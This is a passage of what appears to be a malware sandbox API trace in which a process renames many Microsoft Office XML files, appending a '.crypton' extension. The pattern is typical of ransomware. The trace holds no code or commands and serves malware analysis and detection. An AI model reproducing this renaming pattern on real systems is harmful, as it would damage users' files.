Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.PL.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.pl.xml.crypton"), dwFlags=0x2) returned 1 [0112.111] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.SE.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.se.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.SE.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.se.xml.crypton"), dwFlags=0x2) returned 1 [0112.123] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59d27370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc02fe5a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xc02fe5a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0112.127] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL001.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl001.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL001.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl001.xml.crypton"), dwFlags=0x2) returned 1 [0112.437] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL002.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl002.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL002.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl002.xml.crypton"), dwFlags=0x2) returned 1 [0112.566] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL010.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl010.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL010.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl010.xml.crypton"), dwFlags=0x2) returned 1 [0112.573] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL011.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl011.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL011.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl011.xml.crypton"), dwFlags=0x2) returned 1 [0112.887] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL012.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl012.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL012.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl012.xml.crypton"), dwFlags=0x2) returned 1 [0112.967] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL016.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl016.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL016.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl016.xml.crypton"), dwFlags=0x2) returned 1 [0113.005] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL020.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl020.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL020.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl020.xml.crypton"), dwFlags=0x2) returned 1 [0113.106] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL022.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl022.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL022.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl022.xml.crypton"), dwFlags=0x2) returned 1 [0113.184] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL026.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl026.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL026.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl026.xml.crypton"), dwFlags=0x2) returned 1 [0113.203] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL027.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl027.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL027.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl027.xml.crypton"), dwFlags=0x2) returned 1 [0113.319] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL044.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl044.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL044.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl044.xml.crypton"), dwFlags=0x2) returned 1 [0113.799] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL048.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl048.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL048.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl048.xml.crypton"), dwFlags=0x2) returned 1 [0114.454] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL054.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl054.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL054.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl054.xml.crypton"), dwFlags=0x2) returned 1 [0114.546] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL058.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl058.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL058.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl058.xml.crypton"), dwFlags=0x2) returned 1 [0114.599] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL065.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl065.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL065.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl065.xml.crypton"), dwFlags=0x2) returned 1 [0114.926] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL075.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl075.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL075.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl075.xml.crypton"), dwFlags=0x2) returned 1 [0114.943] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL077.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl077.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL077.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl077.xml.crypton"), dwFlags=0x2) returned 1 [0114.948] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL078.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl078.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL078.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl078.xml.crypton"), dwFlags=0x2) returned 1 [0115.244] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL081.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl081.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL081.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl081.xml.crypton"), dwFlags=0x2) returned 1 [0115.375] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL082.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl082.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL082.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl082.xml.crypton"), dwFlags=0x2) returned 1 [0115.397] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL083.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl083.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL083.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl083.xml.crypton"), dwFlags=0x2) returned 1 [0116.078] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL086.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl086.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL086.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl086.xml.crypton"), dwFlags=0x2) returned 1 [0116.085] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL087.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl087.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL087.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl087.xml.crypton"), dwFlags=0x2) returned 1 [0116.112] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL089.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl089.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL089.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl089.xml.crypton"), dwFlags=0x2) returned 1 [0116.154] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL090.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl090.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL090.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl090.xml.crypton"), dwFlags=0x2) returned 1 [0116.218] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL092.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl092.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL092.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl092.xml.crypton"), dwFlags=0x2) returned 1 [0116.246] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL093.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl093.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL093.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl093.xml.crypton"), dwFlags=0x2) returned 1 [0116.305] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL095.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl095.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL095.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl095.xml.crypton"), dwFlags=0x2) returned 1 [0116.361] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL096.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl096.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL096.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl096.xml.crypton"), dwFlags=0x2) returned 1 [0116.382] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL097.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl097.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL097.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl097.xml.crypton"), dwFlags=0x2) returned 1 [0116.415] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL102.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl102.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL102.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl102.xml.crypton"), dwFlags=0x2) returned 1 [0116.503] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL103.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl103.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL103.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl103.xml.crypton"), dwFlags=0x2) returned 1 [0116.572] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL104.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl104.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL104.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl104.xml.crypton"), dwFlags=0x2) returned 1 [0116.621] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL105.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl105.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL105.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl105.xml.crypton"), dwFlags=0x2) returned 1 [0116.665] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL106.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl106.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL106.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl106.xml.crypton"), dwFlags=0x2) returned 1 [0116.729] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL107.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl107.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL107.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl107.xml.crypton"), dwFlags=0x2) returned 1 [0116.834] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL108.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl108.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL108.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl108.xml.crypton"), dwFlags=0x2) returned 1 [0116.844] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL109.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl109.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL109.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl109.xml.crypton"), dwFlags=0x2) returned 1 [0117.133] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL110.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl110.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL110.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl110.xml.crypton"), dwFlags=0x2) returned 1 [0117.289] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL111.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl111.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL111.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl111.xml.crypton"), dwFlags=0x2) returned 1 [0117.366] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN001.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn001.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN001.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn001.xml.crypton"), dwFlags=0x2) returned 1 [0117.416] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN002.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn002.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN002.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn002.xml.crypton"), dwFlags=0x2) returned 1 [0117.424] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN010.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn010.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN010.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn010.xml.crypton"), dwFlags=0x2) returned 1 [0117.456] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN011.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn011.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN011.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn011.xml.crypton"), dwFlags=0x2) returned 1 [0117.468] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN020.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn020.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN020.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn020.xml.crypton"), dwFlags=0x2) returned 1 [0117.516] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN022.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn022.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN022.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn022.xml.crypton"), dwFlags=0x2) returned 1 [0117.525] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN026.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn026.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN026.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn026.xml.crypton"), dwFlags=0x2) returned 1 [0117.529] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN027.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn027.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN027.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn027.xml.crypton"), dwFlags=0x2) returned 1 [0117.535] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN044.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn044.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN044.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn044.xml.crypton"), dwFlags=0x2) returned 1 [0118.007] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN048.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn048.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN048.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn048.xml.crypton"), dwFlags=0x2) returned 1 [0118.028] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN054.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn054.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN054.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn054.xml.crypton"), dwFlags=0x2) returned 1 [0118.034] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN058.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn058.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN058.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn058.xml.crypton"), dwFlags=0x2) returned 1 [0118.040] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN065.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn065.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN065.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn065.xml.crypton"), dwFlags=0x2) returned 1 [0118.064] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN075.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn075.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN075.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn075.xml.crypton"), dwFlags=0x2) returned 1 [0118.363] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN081.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn081.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN081.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn081.xml.crypton"), dwFlags=0x2) returned 1 [0118.476] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN082.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn082.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN082.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn082.xml.crypton"), dwFlags=0x2) returned 1 [0118.486] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN086.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn086.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN086.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn086.xml.crypton"), dwFlags=0x2) returned 1 [0118.492] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN089.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn089.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN089.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn089.xml.crypton"), dwFlags=0x2) returned 1 [0118.516] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN090.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn090.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN090.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn090.xml.crypton"), dwFlags=0x2) returned 1 [0118.522] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN092.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn092.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN092.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn092.xml.crypton"), dwFlags=0x2) returned 1 [0118.526] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN095.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn095.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN095.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn095.xml.crypton"), dwFlags=0x2) returned 1 [0118.529] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN096.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn096.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN096.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn096.xml.crypton"), dwFlags=0x2) returned 1 [0118.568] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN097.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn097.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN097.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn097.xml.crypton"), dwFlags=0x2) returned 1 [0118.588] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN102.XML" (normalized: "c:\\program files\\microsoft 